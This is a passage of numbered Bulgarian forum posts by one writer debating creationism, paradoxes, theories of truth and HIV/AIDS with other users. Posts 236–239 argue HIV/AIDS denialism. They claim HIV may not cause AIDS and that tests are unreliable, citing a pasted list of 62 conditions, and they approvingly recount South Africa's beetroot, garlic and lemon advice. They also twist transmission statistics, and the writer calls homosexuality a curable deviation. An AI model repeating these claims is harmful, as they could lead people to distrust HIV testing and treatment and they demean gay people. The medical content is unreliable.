Ооо, този смешен аргумент за човешкото око е отдавна изтъркан и даже креационистите от Сан Диего, доколкото знам, го избягват. Еволюцията на окото е надлежно доказана, а и има очи, които са доста по-сложни и по-добре приспособени от човешките. Да не говорим, че ако имаше дизайнер ще се окаже много неспособен и с бъгави резултати, защото окото е един от най-калпавите "уреди" - промени му се налягането - ослепяваш (глаукома). Нацепи те някой с нещо по него - пак ослепяваш (най-малкото травматична катаракта). Липсва витамин А - започват проблеми. С годините се появяват т. нар. "плувци". Късогледство, дългогледство, кривогледство... 'Ми рак на окото? Да не изброявам. По-"бъгав" "дизайн" от този едва ли може да се направи, освен ако дизайнерът не е пълен сакатлък и/или извратеняк. Аз знам, че ти залиташ по разни такива паранаучни и религиозни теории, обаче не се опират на нищо, освен на вярвания.
Бъбреците и изкуствените апарати... Това че човекът още не е напреднал достатъчно, за да конкурира милиарди години еволюция на живата и неживата природа, не значи, че има "Сътворение". Лека-полека ще може и да се правят по-добри бъбреци от естествените. Чакай малко. То до скоро и вируси не можеше да се произвеждат, но вече направиха първия изкуствен полиомиелит. Въпрос на време. /Ако не се случи нещо като регрес на човечеството; самоунищожение; унищожение с извънземен произход (не става дума само за потенциалните инзвънемни, но за всякакви неживи извънземни (извън Земята) опасности./ И това се налага, щото ако вярно имаше "Творец", то нямаше да се налага да се стига до такива нелепи болести и пр. страдания. /По смисъла в който влагат в това вярващите - "Всемогъщ" и какъв ли не./ Човек една котка да има вкъщи и сто пъти по-добре се грижи за нея, отколкото "Бог", който "направил Адам от кал" и "Ева от реброто му" се "грижи" за нас. На еврейски приказки не вярвай /В смисъл - древноеврейски; визирам семитските религии. А иначе всяка религия не е наука, та съответно не може да се мери с науките/. И не защото са еврейски, а защото са приказки. Евреите измислят и наука, не само приказки за промиване на мозък.
228. Прочетох новината.
Първо, прави са си хората, че като има икономическа криза е по-важно първо да се удовлетворят насъщните нужди, а след това да се изследва какво точно станало преди много, много години. Пирамидата на Маслоу, все пак. Второ - като няма комунистическо възпитание за доброволен труд, няма да има и възможности. Виж, примерно, в България как построиха неща като Димитровград без пари или пък Хаинбоаз само посредством доброволци. Не всичко е в парите, ако има желаещи за безплатен труд. /Моето по-конкретно мнение е, че безплатен труд може и трябва да се полага само от хора с много пари (в капиталистическите условия на живот), защото бедните не може да си позволят такъв лукс./ Трето - американците на себе си не могат да помогнат в момента, ти на Англия искаш да помагат. Тези двете са най-задлъжнялите страни в света, почти толкова задлъжняли (като процент от БВП), колкото България. /В днешно време има много сайтове, където може да се проследява задлъжнялостта на страните по света. Който иска може да се поинтересува за точните данни./
СЛЕДВА...
-
229. Хайде честито на Лилинцето и от Гошко.
Така, сега за Ваня:
- Аз още от споровете с Росен казах, че реални парадокси, както ни учи Диалектическият материализъм няма. Всичко е въпрос или на погрешно поставена тема или на все още изостанал научно-технически прогрес. Ама така им викат - "парадокси" и аз така го ползвам като понятие. По същия начин по който на куманите в един момент взели да им викат "татари", ама те и до днес са си кумани, защото не говорят на монголски, а на кумански, примерно. /Разбира се не всички днешни татари генетично са само кумани, но и самите кумани не са били "чиста раса"; всичко е въпрос на смесване на различни народности през историческото развитие на народите; малко са напълно-изолираните по света./ Давам си сметка добре какво е и що е. Ето, в случая с тези топки аз открих за себе си, след разяснението на Лилия, че не ставало дума за реални, а за идеални топки, че парадоксът иде от НЕПРАВИЛНАТА ПРЕДПОСТАВКА, че всичко е делимо до безкрайност.
"С какво имат общо деленето на зародишните клетки?"
С увеличаването на броя им. Като говорим за делимост на материята в дълбочина, значи че колкото и да разделяме атома и съставните му части, все ще се намират по-малки и по-малки материални части, да, ама не е така. Няма нищо общо с деленето на клетките.
"И не всички клетки (май) приключват "живота си" с тумор."
Клетките не могат да имат тумор, а правят тумори, когато се делят неограничено.
"Дори определен брой клетки да измират, по какъвто и да е начин, много остават, за да е жив организма, ако беше такъв безвъзвратен мор нямаше да има хора (май)- или бъркам(?)"
За да е здрав организмът, клетките се делят до определено време, след което измират. Раждат се нови постоянно. Диалектическо единство на умиране и раждане, както е писал Енгелс.
"Относно "изтъркания аргумент" докажи ми в "традукцията" си думата "изтъркан"?"
Без традукция - изтърква се, когато остарява, а остарява, когато вече не е актуален. Отхърлен е на базата на нови еволюционни открития.
"Когато креационистите вземат оче от рибка и ми създадат човешко такова.... да пишат на мейла на Лили, тя ще ни каже после става или не доказателството."
Защо трябва от око на риба да се прави човешко? Вярно, че японците плануват да ползват летки от една риба, за да възстановяват зрението на хора, които са го изгубили заради отлепяне на ретината, т.е. да правят изкуствени ретини, но... не разбирам къде сложи рибите... Даже в Онтогенетичния закон на Хекел се казва, че рибоподобното е само в началните статидии на зародиша, след това си имаме подобие със земноводни, влечуги, бозайници.
Неумението да се прави нещо (примерно те в момента и планета още не могат да направят, което е нещо по-просто от око), не значи че планетите са направени, а създаващите се в момента се правят от Творец. Някои неща се САМОСЪЗДАВАТ. САМОСЪЗДАВАНЕТО, САМОДВИЖЕНИЕТО е това, което убягва на креационистите, ама така е като не са диалектици.
"Окото никъдее не съм написала, че е съвършенно, за да сравняваш други подобни, а че е орган, който......не мога да си го взема от куклата Барби или от магазина, за да си го сложа и сменя и всичко да ми е ок!"
И какво от това?! То в магазина не се продават и други неща, но от това не следва Творение.
"Като не ти харесва бъгавото Око направи Небъгаво...айде да те видя."
Ако можеше да се прави всичко, което не ни харесва ей-така нямаше да има нужда от институции като :
- академии на науките
- армии
- полиции/милиции и пр.
Неспособността или ограничената способност за създаване на нещо не значи, че то е създадено от някой си Бог/бог, таласъм, караконджул и пр. продукти на отчаяното, примитивно, древно въображение на хора.
"Залитам, ха-ха, ми то е защото много поркам, ама разчитам на еволюиралия си черен дроб и затова не се притеснявам много."
Аааааа, не е заради това. Познавам същински алкохолици, които са атеисти и абсолютни трезвеници, дето ги бие сачмата и, примерно, направо на дяволи се кланят. То си е въпрос на убеждения, информираност и пр. Отделно не е само въпрос на ученост. Има религиозни учени, както и атеисти-простолюдие. Важното е как ще се стекат обстоятелствата.
"Напредъка на човек..... това ми е най-сладкия ти аргумент.... като не е открито още нещо или не можеш да си го обясниш опираш до тоя напредък, дето всички сме седнали пред PC-тата много ни е кеф да го установяваме"
Ами аз всеки ден го установявам, когато прочета научните новини. Ето даже сега ще погледна за някоя и ще ти я напиша:
Италия направила и патентовала ЧЕРЕН ДОМАТ. /Имаше и линк, но вече не работи./
"ама..... като не се появи нещо ново и интересно, тия с Нобелите да ги връщат, че нещо много спинкат."
Ох,... то Нобеловите не винаги са гарант. Примерно Далай Лама има Нобелова за мир. Страшно е мирен, няма що... Но не можем да обвиняваме човек, че не може да открива много неща през живота си. Иначе идеята ти не е лишена от смисъл, така ще се стимулират повече.
"Да не съм те чула и видяла да обвиняваш Бог за нещо!"
Защо? Ще ми организирате съд, преди Страшния съд ли? И, между другото, ти как ще докажеш, че я има еврейската (по-скоро - ДРЕВНО-ЕВРЕЙСКАТА, на онези знаещите евреи колкото баба от село) измислица, с която си служиш и ти в момента? Предлагам да се запознаеш с Чайника на Ръсел и други полезни неща тук /имаше линк към сайт, който вече го няма. А за "Чайника на Ръсел" вече сме давали информация в други теми; в днешно време лесно се намира онлайн всичко за въпросния "чайник". :) /
"Ако на котката й измислеше начин да я научиш на всичко, което ние хората знаем и използваме едва ли щеше да ти се занимава със зо/улумите, които би ти причинила на теб и на целия еволюирал котешки свят."
За котката не разбра - ставаше дума, че ако има Бог, който да е толкова мил, премъдър и пр., нямаше да има толкова зле-човечество, понеже даже един чиляк се грижи по-добре за една котка, отколкото, Троицата се "грижи" за нас.
230. Хераклит, най-добри пожелания, разбира се. Ами да, Лилито е красиво и ерудирано. Обаче като темперамент и характер ми се струва, че ако се беше родила по времето на Торкемада, щеше да стане поне втори велик инквизитор. Учудващо е как се е затворила в рамките само на ЕДНА ПАРАДИГМА (което би било нещо обичайно за обикновен учен, но не и за философ на науката) и ВОЙНСТВАЩО отхвърля всякакви нейни оспорвания и то... с Argumentum ad hominem ("Този е писател, който си пада по екзотични версии, значи ЗАДЪЛЖИТЕЛНО каквото и да пише за СПИН-а не е вярно!"), както и с умишлено или неумишлено пропускане на авторитети по темата. Така или иначе, човек се променя, докато е жив (то и после се променя, ама вече в качеството си на труп, което не е много интересно), така че аз не губя надежда, че тя ще застане на позициите на ратуваното от Попър "Отворено общество", където ще може по-толерантно и изследователски да се запознава с нещата, преди да ги отхвърля. Примерно аз отхвърлям креационизма на Ваня, но на базата на запознатост с религията и креационистките аргументации.
Да, Пенчо Славейков е бил ученик на Ницше. А Зоран Джинджич пък бил ученик на Юрген Хабермас, научих наскоро, та да информирам просто.
231. Безкрайността (символ: "∞"), като математически символ, е въведена от философа-математик Джон Уолис през 17-ти век; В древна Гърция не са познавали 0-та (нулата);
Ирационалните числа са открити от питагореец, който бил удавен от други питагорейци, които не харесали откритието (според легенда).
232. "Е, сега.... "по-средата". Истината е ЕДНА (ха-ха) поне за някои неща."
Че е една - една е, но какво общо има това с разположението й - дали е отдясно, отляво или по средата?!... Това, че нещо се намира между две други неща, значи ли, че не е ЕДНО нещо (онтологическо питане)? Това, че нещо е вярно тогава и само тогава, когато съвместява елементи от други две крайни неща, значи ли, че не е само едно (гносеологическо питане)?!
233. В мнението ти има неща, които ме засягат, затова и се намесвам. Аз даже и да не ме засягат пак се намесвам, какво пък, остава, ако ме засяга нещо като това, че ми забраняваш да говоря против Бога с главната буква или пък, че представете си, Ваня не включва във философския дискурс неща като луканката... Ами то просто си плаче за отношение по темата. :) В психологията има едно понятие "с подканящ характер", та постовете ти за мен са нещо такова.
"Ами да, така е. Но пойнт-а е на реален , А парадокси ,явно си има, след като и тема си отворил за това."
Има условно. Ето на, оказа се, че този не е никакъв парадокс, защото просто твърди нещо, което не е вярно.
"а от там и защо се задават тези парадокси като е ясно, че не са решими, доказуеми и представими...."
Чудеса, парадоски и пр. няма. Има ги само, ако някъде нещо е сбъркано и/или ако още не сме дорасли да ги разберем. Ето аз го разбрах този, с помощта на хубавицата, която ме осведоми, че ставало дума не за истински топки, а за умозрителни и то съставени от "безкрайно много" точки...
"Виж по-горе какво си написал, или че деленето на клетките няма общо с деленето на материята, а след това прочети противоречието СИ за "атома и съставните му части", и отново въпроса ми- С какво имат общо......?"
Няма противоречие. Просто ти смесваш увеличаването на броя на клетките в живото с възможността на намиране на безкрайно много малки частици на материята. Отделно не държиш сметка за апоптозата (клетъчната смърт) и става каша-голяма. Ще изчистя нещата само като кажа, че материята на едно ниво преминава към енергия, а енергията вече не е материя. Е е равно на ем по це на квадрат (E=mc²).
"Нямат нищо общо еволюционните открития с това какво собствено е човешкото око."
И еволюционните, и в частност, генетическите открития имат много общо не само с очите, но с всичко останало в животинските ни тела. Нещата са сложни, то не е като в Библията да пише някой, че животните са станали отведнъж и нито дума за динозаври, за еволюция, за преходни форми... Приказки за деца. И пак не е точно, щото даже и деца има, които се усъмняват и задават резонни въпроси.
"За да съм спокойна един ден, ако ми стане нещо с окото ,щото то е един бъгав орган, че очето на рибката, благодарение на еволюцията може да замести бъгавото ми не толкова еволюирало око."
Ами японците ще правят ретина от риба, пък англичаните щели да правят електронна такава. Няма невъзможни неща, стига мозък и свобода на действие да има.
"Просто не ми е приятно, хората да обвиняват Бог за нещата, които сами са си натворили."
Ами нали по дефиниция Бог е Отец, грижовен, обичащ и пр. Що така си оставя децата да си правят лоши неща? Ти, ако имаш 2 деца и видиш, че едното се кани да заколи другото, даже и да не си Бог, няма ли да се засилиш пък да го спреш? Или, друг пример, като Всесилна, Всеможеща, Всезнаеща и пр. имаш пълната способност да предотвратиш развитие на рак у някое от милиардите си деца, ноооооо... не си мръдваш всесилния пръст и викаш - "Абе мрете бе, то има и други, не се стряскайте!"
"Но Бог не съм казала, че е "дизайнер"-а, напротив, ако прочетеш по-нагоре ще видиш, че се извинявам, но не мога да ви запозная с дизайнер-а, щом не мога нямам доказателства за Твореца, кой е, значи не съм креационистка."
Значи ти признаваш Бог, ама не и като творец. Да не си будистка, тогава (от Северния будизъм)?
"Абе с две думи... (че трябва да тръгвам), изложих ти своето мнение. Съжалявам, че не ти харесва, но поне знаеш за следващия път, така че по-добре не ме питай, ако целта е просто да ми покажеш колко си несъгласен с мен. Приемам го. Приеми го и ти. :)"
Остави ти тези неща, не ни е това проблемът. Основният проблем е, че още ме е яд за луканката. Ако парадоскът беше верен, щеше да се окаже, че от една сферична луканка може да се произведат други две, еднакви на нея луканки. И после 4, 8, 16... Ахххх~~~~~~... Да, ама не може. 1/2=0.5, т.е. една луканка (пък било тя и сферична), като я разчупиш и после да сглобяваш нови луканки стават 2, ама двойно по-малки, т.е. 0.5 х 2 = 1... /Остава си равно (равна) на едно (една)./
234. "Има общо, защото, ако е по средата не помага нито на епистемологията нито на семантиката."
Oх... Ставаше дума за понятията - че някои наистина са фалшиви, но някои са добри. А истината дали помага или вреди няма отношение към истината като такава. Освен, ако не защитаваш прагматичната теория за истината, според която истина може да бъде и лъжата, стига да върши работа.
"не не означава, че не е едно, а, че е може и да е ненеобходимо. И първо онтологически определи другите две неща, а след това "стоенето" (комуто е нужно) между тях на това едно."
Независимо от конкретните им определения казаното си важи.
"Отговор на ГП-не: ако съвместява елементи от "две други неща", то не е толкова доказуемо непротиворечиво едно. И тогава не върши работа нито на едното нито на другото в своята "средищност"."
Невярно. Ето ти 2 крайни твърдения - "Хората са добри." , "Хората са лоши." И като кажеш, че някои са добри, а други са лоши, влизаш в напълно адекватна позиция. Средищността не предполага невярно/грешно, още по-малко пък вършенето на работа е това, което ни интересува при една КОРЕСПОНДЕНТНА ТЕОРИЯ ЗА ИСТИНАТА.
"Пп. думата ти "засягам" надявам се не си я употребил в смисъл на "обиждам", защото ако е така се извинявам.
Приятна вечер."
Разбира се, че не.
235. Проблемът като такъв си е СУБЕКТИВНО нещо. За тебе може да е проблем да си купиш кола, за друг това не е проблем. За него пък може да е проблем да каже кой е този Фреге, понеже не е от неговия квартал, обаче за тебе не е проблем. След като проблемите са субектни, исторически и социално формируеми, и пр., то реалността им се свежда до това, че са налични в съзнанието, в живота на някои от хората и дори - животните.
(СЛЕДВА...)
-
236. "Далай, НИЩО определено не следва логически от горното. Ако на всички въпроси можеше да се отговори само с логика, нямаше да се хвърлят луди пари за експериментални изследвания, събиране на статистически данни и пр."
Лудите пари се хвърлят и за други работи. Остави пътя на парите. Там е "мътна и кървава". А и един от аргументите на дисидентската теория е, че фактът, че толкова дълго време се изледва нещо, с такива огромни средства и, все пак, със сравнително-високо ниво на техника, НО все още няма резултат на ниво ваксини, то значи че, вероятно, се борим с "призрак", а не с истински причинител на СПИН, който се причинява от над 30 други фактора.
"Казано с други думи, при тези обстоятелства между А и В може да има каузална зависимост, но може и да няма."
Разгеле, нали и аз затова говоря. Че не следвам сляпо парадигмите, а първо мисля на базата на богатия си опит и на огромната база данни из Интернет.
"За да установим дали има връзка, са нужни допълнителни данни. В случая със СПИН и HIV ИМА такива данни."
Има си, но отделен е въпросът КАК се ИНТЕРПРЕТИРАТ тези данни.
"Ако честотата на В (имунна недостатъчност) е много по голяма в популации, където А (положителна HIV проба) е налице, отколкото в незаразените с ХИВ популации, то между А и В с много голяма степен на вероятност можем да твърдим, че съществува каузална зависимост."
Да. А и, ако има толкова много хора, които имат ХИВ+, но никога не се разболяват от СПИН, тогава започваме да говорим за "нон-прогресори", за "късметлии, които са изградили имунинтет" и пр. А, ако някой пък има СПИН, но няма ХИВ+, тогава става още по-лошо и гледат на всяка цена да му намерят такъв - повече заразени-повече пари. Както казваше един за СПИН-а в Африка - едно е да си лекар там и да имаш пациент с диария, а друго е със СПИН-свързана диария - тогава ти дават субсидийки.
"При СПИН и ХИВ тази зависимост е налице."
Казване, което не се приема от всички.
"Т.е., наистина имунна недостатъчност може да се получи и при други въздействия (напр. злоупотреба с лекарства), т.е. без да е налице ХИВ; макар и рядко се среща и вродена иммунна недостатъчност, но и двете форми на имунна недостатъчност не са СПИН - най-важната разлика е, че при тях липсва характерната за СПИН епидемиологична картина, защото нито вродената, нито лекарствената имунна недостатъчност не са заразни!"
А това пък хич не е вярно. Примерно при една тубекрулоза пак те хваща СПИН и си навличаш целия набор от вторични инфекции, каквито се сещаш. ИМУННА НЕДОСТАТЪЧНОСТ си е ИМУННА НЕДОСТАТЪЧНОСТ, няма значение дали (евентуално) е от ХИВ (което се оспорва и, за което говорим) или не е. /И, от гледна точка на десидентската теория, самата заразност е под въпрос./
"СПИН днес е запазено наименование не за всяка придобита имунна недостатъчност, а само за онази, която се дължи на ХИВ."
Запазено за жертвите на официалната парадигма. Нали точно това е хватката нещо, което е СИНДРОМ да се свърже само с един ВРАГ и "давай да е весело" /идиом/ - както Розенберг научил Хитлер да стовари всичко на евреите. В момента много хора си мислят точно като тебе, че СПИН=ХИВ и, че без ХИВ няма СПИН... и доста мрат само от стреса. Психогенна смърт му се казва.
"Аналогична е картината при т. нар. "жълтеница".
Възможно е да получиш жълтеница без да си заразен с вируса на хепатит (напр. поради запушени жлъчни канали);
Възможно е също да си заразен с вируса на хепатит, но да нямаш жълтеница (караш лека форма на хепатит или изобщо не се разболяваш);
Възможно е да си заразен с вируса и да имаш жълтеница.
И накрая, както е при повечето здрави хора - те нито са носители на вируса на хепатита, нито имат "жълтеница"."
ОТ която традукция поне следва, че ИМА СПИН и без ХИВ, ако ХИВът наистина му е ЕДИН ОТ причинителите.
"Съвсем аналогично е положението със СПИН и ХИВ, т.е. ако отхвърлим каузалната връзка между СПИН и ХИВ, трябва да отхвърлим тази между вируса на хепатита и жълтеницата, между херпес вирусите и обривите и пр."
Само дето пропускаш нещо много важно. Каузалната връзка на ХИВ и СПИН беше АПРИОРНО предложена още преди да се покаже, че има такъв вирус. Това нарушава всички правила, установени още от Пастьор. И интересното е, че самият откривател на ХИВ - Люк Монтание сам си признава през 1990 (в Маями), че се съмнявал да има връзка между ХИВ и СПИН.
"ОТДАВНА СА ОТХВЪРЛЕНИ, ТАКА ЧЕ АРГУМЕНТЪТ НА ХОГАН ПАДА!"
Тука манипулираш. Отхвърлени ОТ КОГО? НЕ ОТ ВСИЧКИ. Затова и говорим за Дисидентска теория и за Кофакторна теория, които са факт, независимо от гоненията срещу тях от доста по-влиятелните и паралиите. Тоест аргументът пада, НО СПОРЕД НЯКОИ, не според ВСИЧКИ УЧЕНИ И ЛЕКАРИ ПО СВЕТА.
"(2) пада, защото синдромът не може да е причина на заразяването с ХИВ :-), защото заразяването предшества във времето проявите на синдрома"
И ОБРАТНО - понякога има някой СПИН, но няма ХИВ, после му откриват или му "откриват", че да върви бизнесът. Все пак там, където играе парата, играе и науката. Даже такива видни комунистически философи като И. С. Кон за пари в днешно време пишат врели-некипели в защита на хомосексуализма, да речем, защото са спонсорирани от богатите западни гей-организации. Срамота, но, явно някои хора предпочитат стомаха си, отколкото идеалите си. /Да не се приема като хомофобско - аз просто съм от тези учени, които смятат, че хомосексуализмът е отклонение, както се приемаше преди години в психиатрията, и че може да се лекува, да се предотвратява. Нито съм хомофоб, нито съм хомофил. А относно И. С. Кон - ето по-конкретна информация, според която още преди е проявявал интерес към темата и, приемам, че може да го е правил всичко това от личен интерес, а не за пари (или не само за пари): https://ru.wikipedia.org/wiki/Кон,_Игорь_Семёнович#Пол_и_сексуальность (https://ru.wikipedia.org/wiki/Кон,_Игорь_Семёнович#Пол_и_сексуальность). А относно "идеалите" и "стомаха" - най-добре е да се мислят през призмата на Маслоувата пирамида./
"пада, защото само едно болно съзнание може да реши, че е възможно да се манипулират (в една посока) данните на всички здравни органиции по света."
Тука се проявяваш като най-големия манипулатор:
1) Не са ВСИЧКИ здравни организации по света. Имаше даже ЦЯЛА ДЪРЖАВА - ЮАР, която на ниво президент и министър на здравеоопазването реши да подкрепя Дисидентската теория. Здравната им министърка казваше, че при СПИН може да се яде в по-големи дози цвекло, чесън и лимони, и по този начин ще си запазваш имунитета на прилично ниво, та дори и ще се излекуваш. Жената е завършила в Москва. /Вече в ЮАР не е така; по-нова информация по въпросите - https://ru.wikipedia.org/wiki/ВИЧ-диссидентство (https://ru.wikipedia.org/wiki/ВИЧ-диссидентство)/
2) Здравните организации могат и да се САМО-манипулират, САМО-заблуждават. Все пак още преди доказването на съществуването на ВИЧ повечето го приемаха на доверие и по фалшифицирани микроскопски фотографии. Най-лесно е да се самоизмами човек.
3) Има достатъчно приведени примери в онзи сайт за такова манипулиране. Ето примерно списък от ЦЕЛИ 62 СЪСТОЯНИЯ, при които може да те изкарат, че имаш ХИВ (просто тестовете им са калпави и могат да увредят живота на доста хора):
Здоровые люди в результате малопонятных перекрестных реакций
Беременность (особенно у много раз рожавшей женщины)
Нормальные человеческие рибонуклеопротеины
Переливание крови, особенно многократные переливания крови
Инфекция верхних дыхательных путей (простуда, ОРЗ)
Грипп
Недавно перенесенная вирусная инфекция или вирусная вакцинация
Другие ретровирусы
Вакцинация от гриппа
Вакцинация против гепатита В
Вакцинация против столбняка
"Липкая" кровь (у африканцев)
Гепатит
Первичный склерозирующий холангит
Первичный билиарный цирроз
Туберкулез
Герпес
Гемофилия
Синдром Стивенса/Джонсона (воспалительное лихорадочное заболевание кожи и слизистых оболочек)
Q-лихорадка с сопутствующим гепатитом
Алкогольный гепатит (алкогольные заболевания печени)
Малярия
Ревматоидный артрит
Системная красная волчанка
Склеродермия
Дерматомиозит
Заболевание соединительных тканей
Злокачественные опухоли
Лимфома
Миеломная болезнь
Рассеянный склероз
Почечная недостаточность
Альфа-интерфероновая терапия при гемодиализе
Трансплантация органов
Трансплантация почек
Проказа
Гипербилирубинемия (повышенное содержание билирубина в крови)
Липемическая сыворотка (кровь с высоким содержанием жира или липидов)
Гемолизированная сыворотка (кровь, в которой гемоглобин отделен от красных клеток)
Естественно встречающиеся антитела
Антиуглеводные антитела
Антилимфоцитные антитела
HLA антитела (к антигенам лейкоцитов класса 1 и 2)
Высокий уровень циркулирующих иммунных комплексов
Образцы, подвергавшиеся высокотемпературной обработке
Антиколлагенные антитела (обнаружены у гомосексуальных мужчин, у больных гемофилией, у африканцев обоего пола и людей, больных проказой)
Сывороточная позитивность к ревматоидному фактору, антиядерное антитело (и то, и другое обнаружено при ревматоидном артрите и других аутоиммунных заболеваниях)
Гипергаммаглобулинемия (высокий уровень антител)
Ошибочно позитивный ответ на другой тест, включая тест RPR (быстрый плазма-реагент) на сифилис
Антигладкомышечные антитела
Антипариетальноклеточные антитела (обкладочные клетки желез желудка)
Антигепатит А иммуноглобулин М (антитело)
АнтиHbc иммуноглобулин М
Антимитохондриальные антитела
Антинуклеарные антитела
Антимикросомальные антитела
Антитела к антигенам Т-клеточных лейкоцитов
Антитела, имеющие высокое сходство с полистиренами, которые применяются в тестовых системах
Протеины на фильтровальной бумаге
Висцеральный лейшманиоз
Вирус Эпштейн-Барра
Рецептивный анальный секс
(
Сентябрь,1996, Зенгерс, Калифорния)
Такое огромное количество состояний, дающих положительную реакцию на якобы специфический тест, говорит о его абсолютной недостоверности.
Превод - Такова огромно количество от състояния, даващи положителна реакция на ужким специфичен тест говори за неговата абсолютна недостоверност.
/Под "ХИВ" и "ВИЧ" се разбира едно и също. "ВИЧ" е на руски ("Вирус иммунодефицита человека"), а "ХИВ" иде от английското HIV ("Human Immunodeficiency Virus")./
СЛЕДВА...
-
237. Вече започвам да се съмнявам, че хубавото Лили е "част от играта", защото такава манипулация отговаря на нивото само на някой много заинтересован и/или много убеден и/или с много голяма изгода от поддържането САМО НА ЕДНА ОТ ВЪЗМОЖНИТЕ версии. /Просто логически изходено./ Ето и конкретно за какво говоря:
Лили каза: " МНОГО ПОВЕЧЕ СЕРОПОЗИТИВНИ МАЙКИ РАЖДАТ СЕРОПОЗИТИВНИ ДЕЦА, КОИТО ВПОСЛЕДСТВИЕ СЕ РАЗБОЛЯВАТ." и в същото време аз чета, че от 10 000 зазразени майки само 2500 деца са също с ХИВ. Това значи 25%, а "25%" е "1/4", т. е. всяко четвърто. А "всеки четвърти" не е "повечето".
Интересно е да се отбележи и друго от тази статистика:
На 10 000 случая: 9000 се заразяват от кръв. 2500 от майка си. 67 от наркомания И САМО 15 от НОРМАЛЕН СЕКС (При аналния, незнайно защо, рискът е 56,5). /Всъщност "незнайно защо" е риторично. Аналният секс си е известен с това, че е много по-опасен от вагиналния, оралния и мануалния./
Цялата таблица : http://en.wikipedia.org/wiki/HIV (В момемента не я намирам; явно е премахната.) И после пишат, че СПИНЪТ Е "ПРЕДИМНО ЗАБОЛЯВАНЕ ПРЕДАВАНО ПО ПОЛОВ ПЪТ"...
По останалите случаи няма да коментирам, то само този е достатъчен, а и дава отговор на въпроса що за вирус е този, дето се предава от 10 000 случая само на 15. При други венерически болести рискът е над 50 %, т.е. над 5000 човека ще заболеят.
238. Ами така е, това е "качеството" на евидънсите /във връзка с употребеното, на английски, evidence/ по принцип. Да се наслдим на един от тях:
"Before HIV infection became widespread in the human population, AIDS-like syndromes occurred extremely rarely, and almost exclusively in individuals with known causes of immune suppression, such as chemotherapy and underlying cancers of certain types. "
1. Не е вярно, че преди не е имало често случаи на СПИН-лайк /т. е. "подобни на СПИН", "наподобяващи СПИНа"/ синдроми често. Имало е, но не се вдигаше толкова шум покрай тях. Доктор-хирург от Велинград на времето ни каза - "Аз и преди съм отварял толкова хора с имунна недостатъчност. Това не е от вирус." , отделно допълни, че повечето са били хомосексуалисти, а всички спин-дисиденти приемат, че аналния секс, поради нечистотиите, докарва често до лоши реакции. Много ясно, че като попаднат фекалии в кръвта или наркотици (при наркоманите) ще има положителни резултати на какви ли не тестове. /По общо и по-грубо казано./
2. Не е вярно, че само от химиотерапия и от рак се получава СПИН-лайк синдром. Хемофилия? Туберлулоза? Недохранване?... Един бюлюк състояния си има, когато имунната система дава отбой. Даже едно системно недоспиване може да ти докара СПИН-лайк синдром.
239. Хераклит, точно на Дзержински не съм последовател. Аз съм на Ленин и на Мао Дзедун, само дето не избивам системно врабчета, понеже имам повече съвременни екологични познания. Обаче, виж, на комарите бих им видял сметката, не смятам, че без тях ще настъпи екологична катастрофа.
За Лилито, ами тя се връзва на дребни трикове от рода на този, който ми е привела за доказателство:
"Before HIV infection became widespread in the human population, AIDS-like syndromes occurred extremely rarely, and almost exclusively in individuals with known causes of immune suppression, such as chemotherapy and underlying cancers of certain types. " Тоест, че преди ХИВ да се разпространи сред хората (а не си дава сметка, че може винаги да го е имало, най-малкото, че в момента ХИВ не се държи като никаква епидемия, по-малко от 0,5 % са заразените по целия свят и то 2/3 от тях са къде? В Под-Сахарска Африка, където може да те пипнат какви ли не вируси. Отделно останалата 1/3 са на около 90 % наркомани, хомосексуалисти, хемофилици и пр. "болни" от ХИВ... Т.е. работата си личи от самолет, че не е това, за което й приписват, но, ние "вярваме" на базата на почти нищо.)
"Ех-х. Къде остана приказният свят на иносказанията? Пролетта само на мен ли ми влияе? Само аз ли съм опиянен от случващото се за пореден път, което е винаги ново?"
Ами аз от няколко години живея в тропика. И тука няма пролет-лято-есен-зима... Общо взето прилича на един и същи сезон, само дето по някое време става "страшен студ": 15 градуса, които след като си бил на 40 ти се струват ЛЕД. :) /Пример само. Самите температури не стигат тук чак до 40. Имам предвид, че ако някой от север се премести и от лятото е свикнал на 40, като му падне на 15 (и по-ниско) градуса, а и няма парно, ще почувства, че е много студено/, отделно понякога вали повече..., а като става дума за "романтика" много са романтични тайфуните. Като има тайфун, задължително тайфунясваш и , ако не те пребие паднал кокосов орех или направо повалена млада палма, то тогава се радваш, че поне не си в САЩ, където има и торнадо, пред което тайфунът е просто "Повеял ми лек ветрец, разрошил ми буйна грива, а аз летя-летя на воля..." /По време на тайфуните най-безопасно е да не се излиза навън!/
"Далай, приятелю, ти беше поет, нали? Ако можех да пиша стихотворения като теб - нямаше да се изразявам толкова иносказателно.
Зная, че ще ми отговорите кратко и стегнато като в обява от вестник, но... какво да се прави. Аз ще продължа с философските си видения."
Ами добре, де, нека опитаме с поезия за Лили: /за да не дублирам съдържание - давам линка към въпросното стихотворение, което вече го има в темата за поезията на Гесер Курултаев. Ето го:/ http://www.seo-forum-seo-luntan.com/other-languages/oe-ot-ee-ktae/msg40001/#msg40001 (http://www.seo-forum-seo-luntan.com/other-languages/oe-ot-ee-ktae/msg40001/#msg40001).
Ей-сега го съчиних, харесва ли ви? :):):):):) Има Александър Андоновистко влияние, особено в последния куплет. :)
Довечера ще обърна внимание и на математическите ти разсъждения, че сега се налагат да се вършат някакви животински досади като:
- хранене, поене
- спане...
и някои чисто-човешки досади като:
- ходене на работа...
До после.
240. И така. Ами за множествата, те са като безкрайността - потенциални, а не актуални. В смисъл такъв, че ние можем да си измисляме каквито и колкото и да е числа. Но друг е въпросът дали те имат нещо, което да им съответства в реалността. На някои - има, на някои може и да има, може и да няма, на трети - със сигурност няма... и така.
241. В Китай, а доколкото знам и в САЩ, няма лютеница и луканки, затова, предполагам в такива държави ще ти липсват. /Изключвам вносните, както и подобните продукти./ А аз преди малко спах и сънувах интересни кошмари + един полезен сън - интересните кошмари бяха, че имаше наводнение в Янтра и даже бушуваха вълни, та с един приятел в една кола, по негова идея бяхме решили да я правим подводница, по едно време го разубедих. После, срамота, сънувам че хвърлих Антонио Бандерас по едни стълби, пред едни лъвове в клетка и, кога гледам, то не бил Антонио Бандерас, а Волен Сидеров, пък аз харесвам идеята "Атака" и... срамота, просто... /Харесвах я в началото; по-късно започнах да се разочаровам от разните й елементи, прояви и пр. Напоследък гледам въобще да страня от всякакви политики!/ После сънувах, че целувах една плачеща на един мост, ама съжалих, щото после се оказа, че целува кучета навред, а аз съм като Шопенхауер - пазя си усърдно здравето... /Най-малкото, опасявам се от кучешки тении!/ И най-накрая, най-после сънувах тебе. :) И това беше много философско-математически сън. Сега ще разкажа за идеята, която ми хрумна на сън и, която отрича донякъде твоето нелошо схващане:
